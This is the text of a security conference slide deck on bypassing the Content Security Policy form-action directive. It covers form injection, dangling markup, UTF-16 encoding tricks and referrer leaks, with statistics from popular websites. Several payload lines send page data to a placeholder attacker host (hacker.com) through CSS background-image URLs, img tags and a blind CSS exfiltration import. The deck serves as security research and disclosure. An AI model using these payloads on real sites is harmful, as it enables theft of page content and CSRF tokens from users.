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The Content Security Policy kills bugs



300 of the most visited websites

44% use the Content Security Policy

98.5% of them can be bypassed

Safe 1.5%Sample study

Exploitable 98.5%



# whoami

started hacking 20 years ago

independent researcher for my 
blog Project NZT-48

nzt-48.org

speaker at:

Hackfest Canada
Hack Space Con Florida
BSides Seattle
DragonJAR Colombia
BugCON Mexico City
and others...



A complete write-up is found at:

nzt-48.org



The security defense



${ content_injection }







<textarea>



<textarea>









Submit button with style,
invisible,
as big as the document



Submit button with CSS



Botón con CSS



Botón con CSS



Botón con CSS



CSP form-action
restricts to what location forms can be submitted

form-action is set to 'self'

Mitigation



Mission

form-action is set to 'self'

bypass form-action and send the form to an external domain



The forgotten directive

Very often, form-action is not defined

Not using form-action Using form-action



form injection



What if there's no sensitive data?

${ content_injection }



What if there's no sensitive data?

form injection

${ content_injection }



What if there's no sensitive data?

form injection



What if there's no sensitive data?

form injection



What if there's no sensitive data?

form injection



What if there's no sensitive data?

form injection



What if there's no sensitive data?

form injection



What if there's no sensitive data?

form injection



What if there's no sensitive data?

form injection



What if there's no sensitive data?

form injection



What if there's no sensitive data?

form injection



What if there's no sensitive data?

form injection



The password manager cannot be disabled
by the application

autocomplete="off"

If the website has a login, the 
application can be exploited.







Dangling Markup Injections

Resurrecting Dangling Markup Injections



${ content_injection }



Dangling Markup Injections



Dangling Markup Injections





Dangling Markup Injections

Leave an unclosed quote
to consume the content



Dangling Markup Injections

Leave an unclosed quote
to consume the content

URLs with < > %0A %0D are blocked



Dangling Markup Injections



Bypass #1
UTF-16 character encoding attack

Bypassing Browsers' Defenses



Bypass #1 UTF-16 character set encoding attack

<iframe src="https://hacker.com/">

<iframe src="data:text/html; charset=utf-8, <h1> Hello </h1>">



Bypass #1 UTF-16 character set encoding attack

<iframe src="https://hacker.com/">

<iframe src="data:text/html; charset=utf-8, <h1> Hello </h1>">

data:text/html; charset=utf-8, <h1> Hello </h1>

Media type Character encoding Content





















<style> *{background-image: url(http://hacker.com/leak?data=

Encode it in UTF-16 so that it becomes valid code

secret

  < >



Bypass #1 UTF-16 character set encoding attack



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF

%E6       %B9       %A9

%E7       %95       %B0

%E2       %81       %B4

%E7       %A5       %B4

%E6       %95       %B0

%E2       %88       %BD



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
11100011  10110000  10101111
%E6       %B9       %A9
11100110  10111001  10101001
%E7       %95       %B0
11100111  10010101  10110000
%E2       %81       %B4
11100010  10000001  10110100
%E7       %A5       %B4
11100111  10100101  10110100
%E6       %95       %B0
11100110  10010101  10110000
%E2       %88       %BD
11100010  10001000  10111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
11100011  10110000  10101111
%E6       %B9       %A9
11100110  10111001  10101001
%E7       %95       %B0
11100111  10010101  10110000
%E2       %81       %B4
11100010  10000001  10110100
%E7       %A5       %B4
11100111  10100101  10110100
%E6       %95       %B0
11100110  10010101  10110000
%E2       %88       %BD
11100010  10001000  10111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
11100011  10110000  10101111
%E6       %B9       %A9
11100110  10111001  10101001
%E7       %95       %B0
11100111  10010101  10110000
%E2       %81       %B4
11100010  10000001  10110100
%E7       %A5       %B4
11100111  10100101  10110100
%E6       %95       %B0
11100110  10010101  10110000
%E2       %88       %BD
11100010  10001000  10111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
    0011  10110000  10101111
%E6       %B9       %A9
    0110  10111001  10101001
%E7       %95       %B0
    0111  10010101  10110000
%E2       %81       %B4
    0010  10000001  10110100
%E7       %A5       %B4
    0111  10100101  10110100
%E6       %95       %B0
    0110  10010101  10110000
%E2       %88       %BD
    0010  10001000  10111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
    0011    110000    101111
%E6       %B9       %A9
    0110    111001    101001
%E7       %95       %B0
    0111    010101    110000
%E2       %81       %B4
    0010    000001    110100
%E7       %A5       %B4
    0111    100101    110100
%E6       %95       %B0
    0110    010101    110000
%E2       %88       %BD
    0010    001000    111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
    0011    110000    101111
%E6       %B9       %A9
    0110    111001    101001
%E7       %95       %B0
    0111    010101    110000
%E2       %81       %B4
    0010    000001    110100
%E7       %A5       %B4
    0111    100101    110100
%E6       %95       %B0
    0110    010101    110000
%E2       %88       %BD
    0010    001000    111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
    00111100    00    101111
%E6       %B9       %A9
    01101110    01    101001
%E7       %95       %B0
    01110101    01    110000
%E2       %81       %B4
    00100000    01    110100
%E7       %A5       %B4
    01111001    01    110100
%E6       %95       %B0
    01100101    01    110000
%E2       %88       %BD
    00100010    00    111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

%E3       %B0       %AF
    00111100        00101111
%E6       %B9       %A9
    01101110        01101001
%E7       %95       %B0
    01110101        01110000
%E2       %81       %B4
    00100000        01110100
%E7       %A5       %B4
    01111001        01110100
%E6       %95       %B0
    01100101        01110000
%E2       %88       %BD
    00100010        00111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

    00111100        00101111

    01101110        01101001

    01110101        01110000

    00100000        01110100

    01111001        01110100

    01100101        01110000

    00100010        00111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

    00111100        00101111

    01101110        01101001

    01110101        01110000

    00100000        01110100

    01111001        01110100

    01100101        01110000

    00100010        00111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

    %3c    %2f 
    00111100        00101111
    %6e    %69 
    01101110        01101001
    %75 %70 
    01110101        01110000
    %20  %74 
    00100000        01110100
    %79 %74 
    01111001        01110100
    %65 %70 
    01100101        01110000
    %20    %3d 
    00100010        00111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

    %3c = < %2f = /
    00111100        00101111
    %6e = n %69 = i
    01101110        01101001
    %75 = u %70 = p
    01110101        01110000
    %20 =  %74 = t
    00100000        01110100
    %79 = y %74 = t
    01111001        01110100
    %65 = e %70 = p
    01100101        01110000
    %20 =   %3d = =
    00100010        00111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

    %3c = < %2f = /
    00111100        00101111
    %6e = n %69 = i
    01101110        01101001
    %75 = u %70 = p
    01110101        01110000
    %20 =  %74 = t
    00100000        01110100
    %79 = y %74 = t
    01111001        01110100
    %65 = e %70 = p
    01100101        01110000
    %20 =   %3d = =
    00100010        00111101



%E3%B0%AF%E6%B9%A9%E7%95%B0%E2%81%B4%E7%A5%B4%E6%95%B0%E2%88%BD

    %3c =  %2f = 
    00111100        00101111
    %6e = %69 = 
    01101110        01101001
    %75 = %70 = 
    01110101        01110000
    %20 =  %74 = 
    00100000        01110100
    %79 =  %74 = 
    01111001        01110100
    %65 = %70 = 
    01100101        01110000
    %20 =   %3d = 
    00100010        00111101

UTF-16 is Little Endian
(read backwards)

<input type=



frame-src allowing data: URLs

Can use data: URLs Can't use data: URLs

Works only ~19.6% of the time



Bypass #2
Hacking with style

Works around %70.4 of the time



Bypass #2 UTF-16 character set encoding attack



Bypass #2 UTF-16 character set encoding attack



Bypass #2 UTF-16 character set encoding attack



Bypass #2 UTF-16 character set encoding attack



Bypass #2 UTF-16 character set encoding attack



Bypass #2 UTF-16 character set encoding attack



Bypass #2 UTF-16 character set encoding attack

好咖啡



stylesheets that can use data: URLs

Can use data: URLs Can't use data: URLs



Bypass #3 Target down

Works regardless of the configuration

default-src 'none'; form-action 'none'; 



Bypass #3 Target down

${ content_injection }



Bypass #3 Target down



Bypass #3 Target down



Bypass #3 Target down

 disabled link



Bypass #3 Target down

 disabled link 



Bypass #3 Target down

Make it huge and invisible!



Bypass #4

Bypass URL request validation



Bypass #4



Bypass #4

alert(window.name)



Can load any domain Only certain domains

frame-src policies 



Can load any domain Only certain domains

object-src policies 



Bypass #4

Found by someone else:

https://issues.chromium.org/issues/40089058

https://issues.chromium.org/issues/40089058


form-action Content Security Policy bypass



<a href='//hacker.com/'> Click me </a>

GET / HTTP/1.1

Host: hacker.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 

(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36

Referer: http://victim.com/vulnerable_page

...

form-action Content Security Policy bypass



<img src='//hacker.com/img' referrerpolicy='unsafe-url' />

GET /img HTTP/1.1

Host: hacker.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 

(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36

Referer: http://victim.com/vulnerable_page

...

form-action Content Security Policy bypass



/vulnerable.aspx?xss=<h1> Hello </h1>

form-action Content Security Policy bypass



/vulnerable.aspx?xss=

${ content_injection }



/vulnerable.aspx?xss=



/vulnerable.aspx?xss=



/vulnerable.aspx?xss=



/vulnerable.aspx?xss=



/vulnerable.aspx?xss=



/vulnerable.aspx?xss=



form-action Content Security Policy bypass

?xss=<img src='//hacker.com/img' referrerpolicy='unsafe-url' />



GET /img HTTP/1.1

Host: hacker.com

form-action Content Security Policy bypass

?xss=<img src='//hacker.com/img' referrerpolicy='unsafe-url' />



GET /img HTTP/1.1

Host: hacker.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 

(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36

Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*;

Referer: http://lab.localhost/vulnerable.aspx?xss=%3Cimg%20 

src=%22//hacker.com/img%22%20referrerpolicy=%27unsafe-url%27%3E

Accept-Encoding: gzip, deflate, br, zstd

form-action Content Security Policy bypass

?xss=<img src='//hacker.com/img' referrerpolicy='unsafe-url' />



form-action Content Security Policy bypass

/vulnerable.aspx



form-action Content Security Policy bypass



form-action Content Security Policy bypass



form-action Content Security Policy bypass



form-action Content Security Policy bypass

<img src='//hacker.com/img' referrerpolicy='unsafe-url' />



form-action Content Security Policy bypass



Ways to leak a URL



Redirect



form-action Content Security Policy bypass



Websites that do use form-action

98.5%



Safe 1.5%

Websites whose form-action can be bypassed

Exploitable 98.5%

98.5%



Other tactics for dealing with
the Content-Security-Policy



style-src is always set to 'unsafe-inline'



style-src is always set to 'unsafe-inline'

CSS is dangerous but a lot of people don't know

Websites that allow inline CSS 



Algorithms with CSS:

● Arithmetic operations
● Emulate memory
● Conditions
● Loops

Gareth Heyes, Eduardo Vela Nava, David Lindsay at Blue Hat:

https://thespanner.co.uk/2008/10/20/bluehat

Weaponizing CSS

style-src is always set to 'unsafe-inline'

https://thespanner.co.uk/2008/10/20/bluehat


Exploitation tool by Portswigger researcher Gareth Heyes

 ***** Blind CSS Exfiltration *****

<style> @import 'https://portswigger-labs.net/blind-css-exfiltration/start'; </style>

@garethheyes

https://x.com/garethheyes


style-src is always set to 'unsafe-inline' 

More research on CSS-based attacks:

Mario Heiderich  presentation on scriptless attacks:
https://www.slideshare.net/x00mario/stealing-the-pie

@kinugawamasato  text node reader:
https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html

@SecurityMB font ligatures:
https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/

@SecurityMB Data exfiltration in Firefox via single injection point:
https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/#:~:text=Firefox%20a
nd%20stylesheet%20processing

Pepe Vila recursive imports technique:
https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231

@d0nutptr recursive import exfiltration tool:
https://github.com/d0nutptr/sic

http://heideri.ch/
https://www.slideshare.net/x00mario/stealing-the-pie
http://twitter.com/kinugawamasato
https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
http://twitter.com/SecurityMB
https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/
http://twitter.com/SecurityMB
https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/#:~:text=Firefox%20and%20stylesheet%20processing
https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/#:~:text=Firefox%20and%20stylesheet%20processing
https://twitter.com/cgvwzq
https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231
https://twitter.com/d0nutptr
https://github.com/d0nutptr/sic


Overwrite form input with
parameter pollution



Overwrite input with parameter pollution



Overwrite input with parameter pollution



Overwrite input with parameter pollution



Overwrite input with parameter pollution

Sometimes the 1st parameter is used

Sometimes the 2nd parameter is used

https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89 

https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89


Hijacking CSRF tokens



Hijacking CSRF tokens



Hijacking CSRF tokens



Hijacking CSRF tokens



Conclusions



Exploitation is still possible
if form-action is not used

The great majority of websites don't use this directive
( ~82.5% of the time )



The form-action directive can be bypassed

● Even if form-action is set to 'self' forms can still be 
used to exfiltrate the document to an external domain.

● The whole document is consumed, no need of a closing 
quote.

● User interaction is required: 1 click.

● 87.5% of websites set form-action to 'self'



The bug bounty can pay if the app has a login

The password manager can be used even if the form fields 
have the autocomplete=off attribute



Dangling Markup Injections are useful
when form-action is set to 'none'

● These attacks do not require user interaction.

● These attacks can be blocked by means of other directives
( img-src, style-src, frame-src )

● The <a> attack requires 1 click from the user but
it cannot be blocked by any CSP directive.

● There must be a closing quote somewhere in the document.



When form-action is set to 'self'

The application remains vulnerable to some attacks.

● Same-Site Request Forgery

● Overwrite original form values via parameter 
pollution.

● The form-action Content Security Policy bypass.



Michal Zalewski, @lcamtuf

I didn't know some of these techniques 
have been public since 2011.

Others are new.

Postcards from the post-XSS world
(2011)

https://lcamtuf.coredump.cx/postxss/

https://lcamtuf.coredump.cx/postxss/


Write-up:
nzt-48.org

X: @ruben_v_pina
Mastodon: @ruben_v_pina

linkedin.com/in/ruben-v-pina/

http://www.nzt-48.org

